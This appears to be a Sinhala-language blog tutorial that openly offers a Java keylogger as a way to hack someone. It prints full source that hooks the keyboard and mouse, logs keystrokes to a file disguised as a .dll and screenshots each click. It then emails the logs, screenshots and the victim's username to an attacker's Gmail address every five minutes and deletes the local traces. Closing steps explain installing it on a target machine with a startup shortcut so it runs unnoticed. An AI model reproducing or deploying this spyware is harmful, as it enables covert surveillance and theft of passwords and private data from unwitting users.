31.A Keylogger Using Java




අද මම කියල දෙන්න යන්නේ Speech Recognition System එකට අදාළ නොවෙන දෙයක් උනත් , කව්රුත් වගේ උනන්දු දෙයක් ගැනයි.ඒ තමයි පොඩි හැකින් පාරක් දාගන්න පුළුවන් ක්‍රමයක්.මේකෙදි මම කියල දෙන්න යන්නේ ජාවා උපයෝගී කරගෙන සරල Keylogger එකක් හදන්නේ කොහොමද කියල.

මොකක්ද මේ keylogger එකක් කියන්නේ? keylogger එකක් කියල කියන්නේ , අපි අපේ පරිගණකයේ යතුරු පුවරුව මගින් ඇතුලත් කරනු ලබන දත්ත (characters) මොනවද කියල හදුනාගෙන , ඒවා පිටස්තර පුද්ගලයන්ට ලබාදෙන program එකක්.මෙමගින් අපිට බලාගන්න පුළුවන් , එම keylogger එක ස්ථාපනය කරලා තියෙන පරිගණකය බාවිතා කරන පුද්ගලයා මොනාද කරන්නේ , කියන එක.

නමුත් ජාවා වලින් මේ වැඩේ කරන කරන එක අපි හිතන තරම් ලේසි පහසු දෙයක් නෙමෙයි.ඒකට හේතුව තමයි.ජාවා වැඩසටහන් ක්‍රියාත්මක වෙන්නේ JRE කියන virtual environment එකක් ඇතුලේ.එම නිසා ජාවා වලට හැකියාවක් නැහැමෙහෙයුම් පද්දතියට අදාළ දේවල් වලට බලපෑම් ඇති කරන්න.නමුත් අපිට පුළුවන් C , C++ වගේ පරිගණක භාෂාවකින් නිර්මාණය කරපු වැඩසටහනක් මාර්ගයෙන් මෙහෙයුම් පද්දතියට බලපෑම් ඇති කරන්න පුළුවන්.

එතකොට අපි කොහොමද ජාවා වලින් මේ වැඩේ කරන්නේ.ඒකට තියෙන විසදුම තමයි C හෝ C++ වලින් නිර්මාණය කරපු වැඩසටහනක් ජාවා සමග සම්බන්ධ කරගෙන , මෙහෙයුම් පද්දතියට සම්බන්ද වෙන එක.අපි මේ වැඩේට යොදාගන්නවා JNativeHook කියන API එක.

හරි දැන් බලමු කොහොමද අපි මේ keylogger එක නිර්මාණය කරගන්නේ කියල.අපිට මේ වැඩේ කරන්න පහත සදහන් කරලා තියෙන API ටික අවශ්‍ය කරනවා.පහල ලින්ක් click කිරීම මගින් අපිට ඒ API එක බාගත කිරීමට පුළුවන්.



මේ වැඩසටහනේ ක්‍රියාකාරිත්වය කොහොමද වෙන්නේ කියල කියනවනම් , මේකෙදි වෙන්නේ අපි යතුරු පුවරුවෙන් ඇතුලත් කරන සෑම දත්තයක්ම තවකලිවකව මතකයේ තබාගෙන ඉදල Enter Button එක click කරපු සැනෙකින්ම file එකකට ඒ මතකයේ තබාගත්ත දත්ත ටික ඇතුලත් කරනු ලබනවා.ඒ වගේ අපි ඇතුලත් කරන සෑම දත්තයක්ම එම file එකට ඇතුලත් කරනවා.ඊට අමතරව අපි mouse එක click කරන වාරයක් වාරයක් පාසා අපේ පරිගණකයේ Screenshot එකක් අරගෙන එකත් image file එකක් විදිහට save කරගන්නවා.ඊට පස්සේ සෑම විනාඩි 5කට සැරයක් , අපි ඒ keyboard එක මාර්ගයෙන් ඇතුලත් කරපු දත්ත සහ සෑම Screenshot එකක්ම අපි දීල තියෙන mail address එකකට mail කරනවා.

හරි අපි දැන් බලමු වැඩසටහන කොහොමද තියෙන්නේ කියල.මෙම වැඩ සටහන මම නිර්මාණය කරන්නේ Netbeans කියන IDE එක උපයෝගී කරගෙනයි.මෙතන classes දෙකක් තියෙනවා, එකක් තමයි main class එක අනිත් එක තමයි jframe class එක.මම මුලින්ම දාන්නම් main class එක ඇතුලේ තියෙන basic methods ටික.

import org.jnativehook.keyboard.NativeKeyEvent;
import org.jnativehook.keyboard.NativeKeyListener;
import org.jnativehook.mouse.NativeMouseEvent;
import org.jnativehook.mouse.NativeMouseListener;


public class Keyboard implements NativeKeyListener, NativeMouseListener {


public static String Text = "";
public static String Temp;
public static ImageIcon Image;
public static BufferedImage Capture;
public static Rectangle Screen;
public static File Image_File;
public static File Text_File = new File("C:\\Default\\Record.dll");
public static File Common_File;
public static ArrayList<String> Images = new ArrayList<>();
public static BufferedReader Reader;
public static String Line;
public static String Exist_Record;
public static String Content;

public static void main(String[] args) throws InterruptedException, Exception {

               
        System.out.println("Operation Started");
 

        try {

            GlobalScreen.registerNativeHook();

        } catch (Exception e) {

        }

        GlobalScreen.getInstance().addNativeKeyListener(new Keyboard());
        GlobalScreen.getInstance().addNativeMouseListener(new Keyboard());

       
    }
   
     @Override
    public void nativeKeyPressed(NativeKeyEvent e) {

        Temp = NativeKeyEvent.getKeyText(e.getKeyCode()).toLowerCase();

        Text = Text + Temp;

        if (NativeKeyEvent.getKeyText(e.getKeyCode()).toLowerCase().equals("enter")) {

            Record(Text);

        }

    }


@Override
    public void nativeMouseClicked(NativeMouseEvent me) {

        Screenshot();

    }


public void Record(String New_Record) {

        try {

            Reader = new BufferedReader(new FileReader(Text_File));

            while ((Line = Reader.readLine()) != null) {

                Exist_Record = Line;

            }

        } catch (IOException e) {

        } finally {
            try {
                if (Reader != null) {
                    Reader.close();
                }
            } catch (IOException ex) {
            }
        }

//------------------------------------------------------------------------------
        try {

            Content = Exist_Record + " | " + New_Record;

            if (!Text_File.exists()) {

                Text_File.createNewFile();
            }

            FileWriter fw = new FileWriter(Text_File.getAbsoluteFile());

            try (BufferedWriter bw = new BufferedWriter(fw)) {

                bw.write(Content);
            }

        } catch (IOException e) {
        }

        Text = "";
        System.out.println("New Text");

    }


public void Screenshot() {

        try {

            String Name = System_Time + " " + System_Date;
            Name = Name.replace(":", ".");

            Image_File = new File("C:\\Default\\" + Name + ".jpeg");
            Screen = new Rectangle(Toolkit.getDefaultToolkit().getScreenSize());
            Capture = new Robot().createScreenCapture(Screen);
            Image = new ImageIcon(Capture);
            ImageIO.write(Capture, "jpeg", Image_File);
            Images.add(Image_File.getAbsolutePath());

            System.out.println("Screenshot Created");

        } catch (HeadlessException | AWTException | IOException x) {

        }

    }


}

දැන් මම දාන්නම් jframe class එක ඇතුලට එන methods ටික.



public class Frame extends javax.swing.JFrame {


public Frame() throws InterruptedException {

initComponents();

System.out.println("Checking For Unattended Text File");

if (Text_File.exists()) {

MailFile(Text_File.getAbsolutePath(), MSG);

}


new Thread() {
@Override
public void run() {

int T = 0;

while (T == 0) {

try {

Thread.sleep(500);

System_Time();
System_Date();
TimeKeeper();

} catch (InterruptedException | javax.mail.internet.ParseException ex) {

}

}

}

}.start();

}


public static String System_Time;
public static String System_Date;
public static DateFormat Time_Format = new SimpleDateFormat("hh:mm:ss a");
public static DateFormat Date_Format = new SimpleDateFormat("dd-MMM-yyyy");

public static String[] Time_Array = {"07:00:00 AM", "07:05:00 AM", "07:10:00 AM", "07:15:00 AM", "07:20:00 AM", "07:25:00 AM", "07:30:00 AM", "07:35:00 AM", "07:40:00 AM", "07:45:00 AM", "07:50:00 AM", "07:55:00 AM", "08:00:00 AM", "08:05:00 AM", "08:10:00 AM", "08:15:00 AM", "08:20:00 AM", "08:25:00 AM", "08:30:00 AM", "08:35:00 AM", "08:40:00 AM", "08:45:00 AM", "08:50:00 AM", "08:55:00 AM", "09:00:00 AM", "09:05:00 AM", "09:10:00 AM", "09:15:00 AM", "09:20:00 AM", "09:25:00 AM", "09:30:00 AM", "09:35:00 AM", "09:40:00 AM", "09:45:00 AM", "09:50:00 AM", "09:55:00 AM", "10:00:00 AM", "10:05:00 AM", "10:10:00 AM", "10:15:00 AM", "10:20:00 AM", "10:25:00 AM", "10:30:00 AM", "10:35:00 AM", "10:40:00 AM", "10:45:00 AM", "10:50:00 AM", "10:55:00 AM", "11:00:00 AM", "11:05:00 AM", "11:10:00 AM", "11:15:00 AM", "11:20:00 AM", "11:25:00 AM", "11:30:00 AM", "11:35:00 AM", "11:40:00 AM", "11:45:00 AM", "11:50:00 AM", "11:55:00 AM", "12:00:00 PM", "12:05:00 PM", "12:10:00 PM", "12:15:00 PM", "12:20:00 PM", "12:25:00 PM", "12:30:00 PM", "12:35:00 PM", "12:40:00 PM", "12:45:00 PM", "12:50:00 PM", "12:55:00 PM", "01:00:00 PM", "01:05:00 PM", "01:10:00 PM", "01:15:00 PM", "01:20:00 PM", "01:25:00 PM", "01:30:00 PM", "01:35:00 PM", "01:40:00 PM", "01:45:00 PM", "01:50:00 PM", "01:55:00 PM", "02:00:00 PM", "02:05:00 PM", "02:10:00 PM", "02:15:00 PM", "02:20:00 PM", "02:25:00 PM", "02:30:00 PM", "02:35:00 PM", "02:40:00 PM", "02:45:00 PM", "02:50:00 PM", "02:55:00 PM", "03:00:00 PM", "03:05:00 PM", "03:10:00 PM", "03:15:00 PM", "03:20:00 PM", "03:25:00 PM", "03:30:00 PM", "03:35:00 PM", "03:40:00 PM", "03:45:00 PM", "03:50:00 PM", "03:55:00 PM", "04:00:00 PM", "04:05:00 PM", "04:10:00 PM", "04:15:00 PM", "04:20:00 PM", "04:25:00 PM", "04:30:00 PM", "04:35:00 PM", "04:40:00 PM", "04:45:00 PM", "04:50:00 PM", "04:55:00 PM", "05:00:00 PM", "05:05:00 PM", "05:10:00 PM", "05:15:00 PM", "05:20:00 PM", "05:25:00 PM", "05:30:00 PM", "05:35:00 PM", "05:40:00 PM", "05:45:00 PM", "05:50:00 PM", "05:55:00 PM", "06:00:00 PM", "06:05:00 PM", "06:10:00 PM", "06:15:00 PM", "06:20:00 PM", "06:25:00 PM", "06:30:00 PM", "06:35:00 PM", "06:40:00 PM", "06:45:00 PM", "06:50:00 PM", "06:55:00 PM", "07:00:00 PM", "07:05:00 PM", "07:10:00 PM", "07:15:00 PM", "07:20:00 PM", "07:25:00 PM", "07:30:00 PM", "07:35:00 PM", "07:40:00 PM", "07:45:00 PM", "07:50:00 PM", "07:55:00 PM", "08:00:00 PM", "08:05:00 PM", "08:10:00 PM", "08:15:00 PM", "08:20:00 PM", "08:25:00 PM", "08:30:00 PM", "08:35:00 PM", "08:40:00 PM", "08:45:00 PM", "08:50:00 PM", "08:55:00 PM", "09:00:00 PM", "09:05:00 PM", "09:10:00 PM", "09:15:00 PM", "09:20:00 PM", "09:25:00 PM", "09:30:00 PM", "09:35:00 PM", "09:40:00 PM", "09:45:00 PM", "09:50:00 PM", "09:55:00 PM", "10:00:00 PM", "10:05:00 PM", "10:10:00 PM", "10:15:00 PM", "10:20:00 PM", "10:25:00 PM", "10:30:00 PM", "10:35:00 PM", "10:40:00 PM", "10:45:00 PM", "10:50:00 PM", "10:55:00 PM", "11:00:00 PM", "11:05:00 PM", "11:10:00 PM", "11:15:00 PM", "11:20:00 PM", "11:25:00 PM", "11:30:00 PM", "11:35:00 PM", "11:40:00 PM", "11:45:00 PM", "11:50:00 PM", "11:55:00 PM"};

public static String MSG;


public void System_Time() throws javax.mail.internet.ParseException {

System_Time = Time_Format.format(new Date());

MSG = System.getProperty("user.name") + "\n" + System_Time + "\n" + System_Date + "\n" + Time_Format.getTimeZone().getDisplayName() + "\n\n";

}


public void System_Date() {

Calendar Currentdate = Calendar.getInstance();
System_Date = Date_Format.format(Currentdate.getTime());

}


public void TimeKeeper() {

for (String Time_Array1 : Time_Array) {

if (System_Time.equals(Time_Array1)) {

System.out.println("Times Equals");

if (Text_File.exists()) {

MailFile(Text_File.getAbsolutePath(), MSG);
}

if (!Images.isEmpty()) {

MailIMG(MSG);
}
}
}

}


public void MailFile(String FILE, String TXT) {

try {

if (TXT == null) {

TXT = "Please Find The Attachement";
}

Thread.currentThread().setContextClassLoader(getClass().getClassLoader());

MailcapCommandMap mc = (MailcapCommandMap) CommandMap.getDefaultCommandMap();
mc.addMailcap("text/html;; x-java-content-handler=com.sun.mail.handlers.text_html");
mc.addMailcap("text/xml;; x-java-content-handler=com.sun.mail.handlers.text_xml");
mc.addMailcap("text/plain;; x-java-content-handler=com.sun.mail.handlers.text_plain");
mc.addMailcap("multipart/*;; x-java-content-handler=com.sun.mail.handlers.multipart_mixed");
mc.addMailcap("message/rfc822;; x-java-content- handler=com.sun.mail.handlers.message_rfc822");

Properties props = new Properties();
props.put("mail.smtp.auth", true);
props.put("mail.smtp.starttls.enable", true);
props.put("mail.smtp.host", "smtp.gmail.com");
props.put("mail.smtp.port", "587");

Session session = Session.getInstance(props, new javax.mail.Authenticator() {
@Override
protected PasswordAuthentication getPasswordAuthentication() {
return new PasswordAuthentication(username, password);
}
});

Message message = new MimeMessage(session);
message.setFrom(new InternetAddress("your email address"));
message.setRecipients(Message.RecipientType.TO, InternetAddress.parse("to email address"));
message.setSubject("New Keyboard Record");
message.setText(TXT);
MimeBodyPart messageBodyPart = new MimeBodyPart();
Multipart multipart = new MimeMultipart();

//------------------------------------------------------------------------------
messageBodyPart = new MimeBodyPart();
DataSource source = new FileDataSource(FILE);
messageBodyPart.setDataHandler(new DataHandler(source));
messageBodyPart.setFileName(new File(FILE).getName());
multipart.addBodyPart(messageBodyPart);
//------------------------------------------------------------------------------

message.setContent(multipart);
Transport.send(message);
System.out.println("Text File Sent");

if (Text_File.exists()) {

Text_File.delete();
Text_File = null;
System.out.println("Text File Deleted");
System.out.println();

}

} catch (MessagingException ex) {

}

}


public void MailIMG(String TXT) {

try {

if (TXT == null) {

TXT = "Please Find The Attachement";
}

Thread.currentThread().setContextClassLoader(getClass().getClassLoader());

MailcapCommandMap mc = (MailcapCommandMap) CommandMap.getDefaultCommandMap();
mc.addMailcap("text/html;; x-java-content-handler=com.sun.mail.handlers.text_html");
mc.addMailcap("text/xml;; x-java-content-handler=com.sun.mail.handlers.text_xml");
mc.addMailcap("text/plain;; x-java-content-handler=com.sun.mail.handlers.text_plain");
mc.addMailcap("multipart/*;; x-java-content-handler=com.sun.mail.handlers.multipart_mixed");
mc.addMailcap("message/rfc822;; x-java-content- handler=com.sun.mail.handlers.message_rfc822");

Properties props = new Properties();
props.put("mail.smtp.auth", true);
props.put("mail.smtp.starttls.enable", true);
props.put("mail.smtp.host", "smtp.gmail.com");
props.put("mail.smtp.port", "587");

Session session = Session.getInstance(props, new javax.mail.Authenticator() {
@Override
protected PasswordAuthentication getPasswordAuthentication() {
return new PasswordAuthentication(username, password);
}
});

Message message = new MimeMessage(session);
message.setFrom(new InternetAddress("your email address"));
message.setRecipients(Message.RecipientType.TO, InternetAddress.parse("to email address"));
message.setSubject("New Screenshots");
message.setText(TXT);
MimeBodyPart messageBodyPart = new MimeBodyPart();
Multipart multipart = new MimeMultipart();

//------------------------------------------------------------------------------
if (Images != null) {

for (String Images1 : Images) {

messageBodyPart = new MimeBodyPart();
DataSource source = new FileDataSource(Images1);
messageBodyPart.setDataHandler(new DataHandler(source));
messageBodyPart.setFileName(new File(Images1).getName());
multipart.addBodyPart(messageBodyPart);

}

}
//------------------------------------------------------------------------------

message.setContent(multipart);
Transport.send(message);
System.out.println("Image Files Sent");

if (!Images.isEmpty()) {

for (String Image : Images) {

File f = new File(Image);
f.delete();
}

for (int i = Images.size() - 1; i >= 0; i--) {

Images.clear();

}

}

System.out.println("Image Files Deleted");

} catch (MessagingException ex) {

}

}


} 


ඔන්න ඔහොම තමයි program එක තියෙන්නේ.

ඊට පස්සේ අපිට සිද්ද වෙනවා අදාළ පරිඝනකයේ පහල තියෙන වෙනස්කම් සිදු කරන්න.

  • මෙම වැඩසටහන එම පරිඝනකයේ ස්ථාපනය (copy) කරන්න ඕනේ lib folder එකත් සමගම.
  • startup folder එකේ මෙම වැඩසටහනට shortcut එකක් create කරන්න ඕනේ.
  • c: partition එකේ Default කියල folder එකක් හදන්න ඕනේ.(C:\Default).
  • එම පරිඝනකයේ ජාවා ස්ථාපනය (install) කරලා තියෙන්න ඕනේ.

මම මේ program එක Download Page එකේ දාන්නම් download කරගන්න .




පහල වීඩියෝ එකෙන් මේ program එක පරිගණකයට ස්ථාපනය කරන හැටි බලාගන්න පුළුවන්.